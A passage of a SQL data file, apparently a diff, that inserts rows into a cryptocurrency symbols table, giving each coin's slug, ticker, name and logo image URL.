VALUES (1085, 'zephyr', 'ZEPH', 'Zephyr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zephyr.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1086, 'btd', 'BTD', 'BTD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btd.png', NULL); +INSERT INTO `t_symbols` VALUES (1087, 'sibcoin', 'SIB', 'SIBCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sibcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1088, 'kkg', 'KKG', 'KKGame Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kkg.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1089, 'yam-v3', 'YAM', 'YAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v3.png', NULL); +INSERT INTO `t_symbols` VALUES (1090, 'spectre-utility', 'SXUT', 'Spectre.ai Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SpectreAI.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1091, 'skycoin', 'SKY', 'Skycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1092, 'omni', 'OMNI', 'Omni', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omni.png', NULL); +INSERT INTO `t_symbols` VALUES (1093, 'position-token', 'POSI', 'Position', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/position-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1094, 'enecuum', 'ENQ', 'Enecuum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enecuum.png', NULL); +INSERT INTO `t_symbols` VALUES (1095, 'shroomfinance', 'SHROOM', 'Niftyx Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shroomfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (1096, 'clever-defi', 'CLVA', 'Clever DeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clever-defi.png', NULL); +INSERT INTO `t_symbols` VALUES (1097, 'pta', 'PTA', 'Petrachor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/petrachor.png', NULL); +INSERT INTO `t_symbols` VALUES (1098, 'lime', 'LIME', 'iMe Lab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lime.png', NULL); +INSERT INTO `t_symbols` VALUES (1099, 'onechain', 'ONE', 'onechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onechain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1100, 'lgcy-network', 'LGCY', 'LGCY Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lgcy-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1101, 'liberty-cash', 'LCS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liberty-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (1102, 'mstable', 'MTA', 'mStable Governance: Meta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mstable.png', NULL); +INSERT INTO `t_symbols` VALUES (1103, 'vestchain', 'VEST', 'VestChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vestchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1104, '1sg', '1SG', '1SG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1sg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1105, 'suterusu', 'SUTER', 'Suterusu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suterusu.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1106, 'goodomy', 'GOOD', 'Goodomy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goodomy.png', NULL); +INSERT INTO `t_symbols` VALUES (1107, 'volume-network', 'VOL', 'Volume Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/volume-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1108, 'waves-community-token', 'WCT', 'Waves Community', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves-community-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1109, 'peps-coin', 'PEPS', 'PEPS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peps-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1110, 'apis', 'APIS', 'APIS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apis.png', NULL); +INSERT INTO `t_symbols` VALUES (1111, 'unilayer', 'LAYER', 'UniLayer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unilayer.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1112, 'galaxy-network', 'GN', 'galaxy-network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galaxy-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1113, 'heroeschained', 'HEC', 'Heroes Chained', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heroeschained.png', NULL); +INSERT INTO `t_symbols` VALUES (1114, 'patron', 'PAT', 'Patron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/patron.png', NULL); +INSERT INTO `t_symbols` VALUES (1115, 'zen-protocol', 'ZP', 'Zen Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zen-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1116, 'bze', 'BZE', 'BZEdge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bze.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1117, 'denarius', 'D', 'Denarius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/denarius.png', NULL); +INSERT INTO `t_symbols` VALUES (1118, 'genopets', 'GENE', 'Genopets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genopets.png', NULL); +INSERT INTO `t_symbols` VALUES (1119, 'data-exchange', 'DTX', 'DaTa eXchange DTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data-exchange.png', NULL); +INSERT INTO `t_symbols` VALUES (1120, 'free-coin', 'FREE', 'FREEdom Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/free-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1121, 'vsc', 'VSC', 'vSportCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vsc.png', NULL); +INSERT INTO `t_symbols` VALUES (1122, 'zg', 'ZG', 'ZG Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zg.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1123, 'oceanchain', 'OC', 'OceanChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oceanchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1124, 'shel', 'SHEL', 'shelterDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shel.png', NULL); +INSERT INTO `t_symbols` VALUES (1125, 'decimated', 'DIO', 'Decimated', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decimated.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1126, 'snovio', 'SNOV', 'Snovian.Space', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snovio.png', NULL); +INSERT INTO `t_symbols` VALUES (1127, 'putincoin', 'PUT', 'PUTinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/putincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1128, 'gfcc2', 'GFCC2', 'gfcc2', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1129, 'veriblock', 'VBK', 'VeriBlock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/0ab7b0d72cf1432fd49f2530aed5d0c4.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1130, 'wscoin', 'WSCOIN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1131, 'starta', 'STA', 'Starta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starta.png', NULL); +INSERT INTO `t_symbols` VALUES (1132, 'zenzo', 'ZNZ', 'ZENZO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenzo.png', NULL); +INSERT INTO `t_symbols` VALUES (1133, 'bing', 'BING', 'bing', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bing.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1134, 'karma-eos', 'KARMA', 'KARMA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/_KarmaTeam_.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1135, 'hord', 'HORD', 'Hord', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hord.png', NULL); +INSERT INTO `t_symbols` VALUES (1136, 'gmtoken', 'GM', 'GhostMarket', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ghostmarket.png', NULL); +INSERT INTO `t_symbols` VALUES (1137, 'betking', 'BKB', 'betking', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betking.png', NULL); +INSERT INTO `t_symbols` VALUES (1138, 'btn', 'BTN', 'BitNew Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btn.png', NULL); +INSERT INTO `t_symbols` VALUES (1139, 'lympo', 'LYM', 'Lympo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lympo.png', NULL); +INSERT INTO `t_symbols` VALUES (1140, 'gstcoin', 'GST', 'GSTCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gstcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1141, 'biz', 'BIZ', 'BIZAIN Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biz.png', NULL); +INSERT INTO `t_symbols` VALUES (1142, 'define', 'DFA', 'DeFine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/define.png', NULL); +INSERT INTO `t_symbols` VALUES (1143, 'dovu', 'DOV', 'Dovu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/dovuofficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1144, 'smartmesh', 'SMT', 'SmartMesh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartmesh.png', NULL); +INSERT INTO `t_symbols` VALUES (1145, 'ubique-chain-of-things', 'UCT', 'Ubique Chain Of Things', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubique-chain-of-things.png', NULL); +INSERT INTO `t_symbols` VALUES (1146, 'young-animation-artist', 'YAA', 'Young Animation Artist', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/young-animation-artist.png', NULL); +INSERT INTO `t_symbols` VALUES (1147, 'aurora', 'AOA', 'Aurora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora.png', NULL); +INSERT INTO `t_symbols` VALUES (1148, 'auto', 'AUTO', 'Auto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auto.png', NULL); +INSERT INTO `t_symbols` VALUES (1149, 'africa-chain-token', 'FCT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/africa-chain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1150, 'pillar', 'PLR', 'Pillar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pillar.png', NULL); +INSERT INTO `t_symbols` VALUES (1151, 'mol', 'MOL', 'Molecule', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1152, 'sidus-senatetoken', 'SENATE', 'SENATE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sidus.png', NULL); +INSERT INTO `t_symbols` VALUES (1153, 'stakenet', 'XSN', 'Stakenet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakenet.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1154, 'newyorkcoin', 'NYC', 'NYCCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newyorkcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1155, 'dify-finance', 'YFIII', 'Dify.Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dify-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (1156, 'kok-coin', 'KOK', 'KOK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kok-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1157, 'vegawallet-token', 'VGW', 'VegaWallet Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vegawallet-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1158, 'sapien', 'SPN', 'Sapien', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sapien.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1159, 'realio-network', 'RIO', 'Realio Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realio-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1160, 'waykichain', 'WICC', 'WaykiChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waykichain.png', NULL); +INSERT INTO `t_symbols` VALUES (1161, 'rubycoin', 'RBY', 'Rubycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rubycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1162, 'cypher', 'CYR', 'Cypher', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cypher.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1163, 'cryptocean', 'CRON', 'Cryptocean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptocean.png', NULL); +INSERT INTO `t_symbols` VALUES (1164, 'veros', 'VRS', 'Veros', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veros.png', NULL); +INSERT INTO `t_symbols` VALUES (1165, 'bloomtoken', 'BLT', 'Bloom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloomtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1166, 'piedao-dough-v2', 'DOUGH', 'PieDAO DOUGH v2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piedao-dough-v2.png', NULL); +INSERT INTO `t_symbols` VALUES (1167, 'mithril', 'MITH', 'Mithril', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mithril.png', NULL); +INSERT INTO `t_symbols` VALUES (1168, 'swace', 'SWACE', 'Swace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swace.png', NULL); +INSERT INTO `t_symbols` VALUES (1169, 'interstellar-holdings', 'HOLD', 'Stellar Holdings', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/interstellar-holdings.png', NULL); +INSERT INTO `t_symbols` VALUES (1170, 'ecobit', 'ECOB', 'Ecobit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecobit.png', NULL); +INSERT INTO `t_symbols` VALUES (1171, 'bankex', 'BKX', 'BANKEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bankex.png', NULL); +INSERT INTO `t_symbols` VALUES (1172, 'nxt', 'NXT', 'NXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nxt.png', NULL); +INSERT INTO `t_symbols` VALUES (1173, 'ozziecoin', 'OZC', 'Ozziecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ozziecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1174, 'leverj', 'LEV', 'Leverj', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Leverj_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1175, 'swc', 'SWC', 'swc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1176, 'karma', 'KRM', 'Karma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/karma.png', NULL); +INSERT INTO `t_symbols` VALUES (1177, 'lamden', 'TAU', 'Lamden', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/lamdentau.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1178, 'ipchain', 'IPC', 'IPChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1179, 'signals-network', 'SGN', 'Signals Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signals-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1180, 'perion', 'PERC', 'Perion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/perion.png', NULL); +INSERT INTO `t_symbols` VALUES (1181, 'lua-token', 'LUA', 'LuaSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lua-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1182, 'memetic', 'MEME', 'Memetic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/memetic.png', NULL); +INSERT INTO `t_symbols` VALUES (1183, 'iqeon', 'IQN', 'IQeon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iqeon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1184, 'cleardao', 'CLH', 'ClearDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cleardao.png', NULL); +INSERT INTO `t_symbols` VALUES (1185, 'pickle-finance', 'PICKLE', 'Pickle Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pickle-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1186, 'lcc', 'LCC', 'lcc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Liteclassic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1187, 'dotcoin', 'DOT', 'Dotcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dotcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1188, 'coinus', 'CNUS', 'CoinUs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinus.png', NULL); +INSERT INTO `t_symbols` VALUES (1189, 'swapfolio', 'SWFL', 'Swapfolio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swapfolio.png', NULL); +INSERT INTO `t_symbols` VALUES (1190, 'spiking', 'SPIKE', 'Spiking', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spiking.png', NULL); +INSERT INTO `t_symbols` VALUES (1191, 'eternity', 'ENT', 'Eternity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eternity.png', NULL); +INSERT INTO `t_symbols` VALUES (1192, 'tenx', 'PAY', 'TenX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tenx.png', NULL); +INSERT INTO `t_symbols` VALUES (1193, 'eminer', 'EM', 'Eminer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/eminer.png', NULL); +INSERT INTO `t_symbols` VALUES (1194, 'intrerlay', 'INTR', 'Interlay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/interlay.png', NULL); +INSERT INTO `t_symbols` VALUES (1195, 'tolar', 'TOL', 'Tolar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tolar.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1196, 'dether', 'DTH', 'Dether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dether.png', NULL); +INSERT INTO `t_symbols` VALUES (1197, 'bnktothefuture', 'BFT', 'BnkToTheFuture', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bnktothefuture.png', NULL); +INSERT INTO `t_symbols` VALUES (1198, 'beacon', 'BECN', 'Beacon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beacon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1199, 'arcona', 'ARCONA', 'Arcona', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcona.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1200, 'bitcoinus', 'BITS', 'Bitcoinus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1201, 'coss', 'COS', 'COS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coss.png', NULL); +INSERT INTO `t_symbols` VALUES (1202, 'webchain', 'MINTME', 'MintMe.com Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/webchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1203, 'lightning-bitcoin', 'LBTC', 'Lightning Bitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightning-bitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1204, 'gbcgoldcoin', 'GBC', 'GBCGoldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gbcgoldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1205, 'thekey', 'TKY', 'THEKEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thekey.png', NULL); +INSERT INTO `t_symbols` VALUES (1206, 'atlant', 'ATL', 'ATLANT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlant.png', NULL); +INSERT INTO `t_symbols` VALUES (1207, 'achain', 'ACT', 'Achain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/achainofficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1208, 'sashimi', 'SASHIMI', 'Sashimi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sashimi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1209, 'hld', 'HLD', 'HIGHLAND', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hld.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1210, 'change', 'CAG', 'Change', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/change.png', NULL); +INSERT INTO `t_symbols` VALUES (1211, 'cajutel', 'CAJ', 'Cajutel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cajutel.png', NULL); +INSERT INTO `t_symbols` VALUES (1212, 'dollarcoin', 'DLC', 'Dollarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dollarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1213, 'gmb', 'GMB', 'GAMB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gmb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1214, 'zippie', 'ZIPT', 'Zippie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zippie.png', NULL); +INSERT INTO `t_symbols` VALUES (1215, 'dentacoin', 'DCN', 'Dentacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dentacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1216, 'dextrust', 'DETS', 'Dextrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dextrust.png', NULL); +INSERT INTO `t_symbols` VALUES (1217, 'opacity', 'OPCT', 'Opacity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/opacity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1218, 'swingby', 'SWINGBY', 'Swingby', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swingby.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1219, 'aichain', 'AIT', 'AICHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aichain.png', NULL); +INSERT INTO `t_symbols` VALUES (1220, 'abl', 'ABL', 'Airbloc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abl.png', NULL); +INSERT INTO `t_symbols` VALUES (1221, 'modadao', 'MODA', 'MODA DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/modadao.png', NULL); +INSERT INTO `t_symbols` VALUES (1222, 'cryptoworld-vip', 'CWV', 'CWV Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoworld-vip.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1223, 'vites', 'VITES', 'Vites', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vites.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1224, 'top-network', 'TOP', 'TOP Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/top-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1225, 'vnx-exchange-utility-token', 'VNXLU', 'VNX Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vnx-exchange-utility-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1226, 'tixlnew', 'TXL', 'Autobahn Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tixlnew.png', NULL); +INSERT INTO `t_symbols` VALUES (1227, 'colossuscoin-v2', 'CV2', 'Colossuscoin V2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ColossuscoinV2.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1228, 'neblio', 'NEBL', 'Neblio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neblio.png', NULL); +INSERT INTO `t_symbols` VALUES (1229, 'conceal', 'CCX', 'Conceal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conceal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1230, 'cononchain', 'CZR', 'CanonChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cononchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1231, 'riodefi', 'RFUEL', 'RioDeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/riodefi.png', NULL); +INSERT INTO `t_symbols` VALUES (1232, 'stellite', 'XTL', 'Stellite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stellite.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1233, 'hydro-protocol', 'HOT', 'Hydro Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydro-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1234, 'jesus-coin', 'JC', 'Jesus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jesus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1235, 'blackcoin', 'BLK', 'BlackCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blackcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1236, '0xbtc', '0XBTC', '0xBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0xbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (1237, 'pac', 'PAC', 'PAC Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pac.png', NULL); +INSERT INTO `t_symbols` VALUES (1238, 'ether-1', 'ETHO', 'Etho Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ether-1.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1239, 'bobs-repair', 'BOB', 'Bob\'s Repair', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bobs-repair.png', NULL); +INSERT INTO `t_symbols` VALUES (1240, 'motocoin', 'MOTO', 'Motocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/motocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1241, 'tidex-token', 'TDX', 'Tidex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tidex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1242, 'gus', 'GUS', 'GuessCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gus.png', NULL); +INSERT INTO `t_symbols` VALUES (1243, 'ultranote-coin', 'XUN', 'UltraNote Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultranote-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1244, 'bitcoinz', 'BTCZ', 'BitcoinZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BitcoinZTeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1245, 'binance-gbp-stable-coin', 'BGBP', 